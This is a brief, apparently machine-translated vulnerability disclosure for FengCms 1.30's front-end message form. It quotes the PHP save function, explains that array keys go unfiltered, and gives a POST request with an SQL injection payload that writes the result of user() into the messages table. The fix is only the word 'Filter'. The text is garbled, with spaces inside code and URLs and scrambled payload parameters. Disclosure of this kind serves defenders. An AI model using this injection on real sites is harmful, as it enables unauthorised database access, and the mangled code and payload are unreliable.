FengCms1.30 injection (front-end)
Http://www.fengcms.com/
App \ model \ messageModel. php
public function save($array){if($_SESSION['authnum']!=$array['vcode']||$_SESSION['authnum']==""){ return array('status' => 'c');exit;}unset($array['vcode']);$re=D($this->d_name)->insert($array);if($re){$_SESSION['authnum']="";return array('status' => 'y','id' => $re);}else{return array('status' => 'n','id' => $re);}
$ Re = D ($ this-> d_name)-> insert ($ array );
The array key is not filtered.
Escape is ignored in reverse quotation marks.
Pyload:
POST /? Controller = message & operate = save
Title ', 'name', 'qq', 'tel', 'mail', 'content', 'time') values (user (), qq, qq, qq, 1426038685 ); # insert/**/into/**/'f _ message'/**/('title = testsql & name = & qq = & tel = & mail = & content = aaaaaaaaaaaa & vcode = vzyd & time = 1426039319
Solution:
Filter ~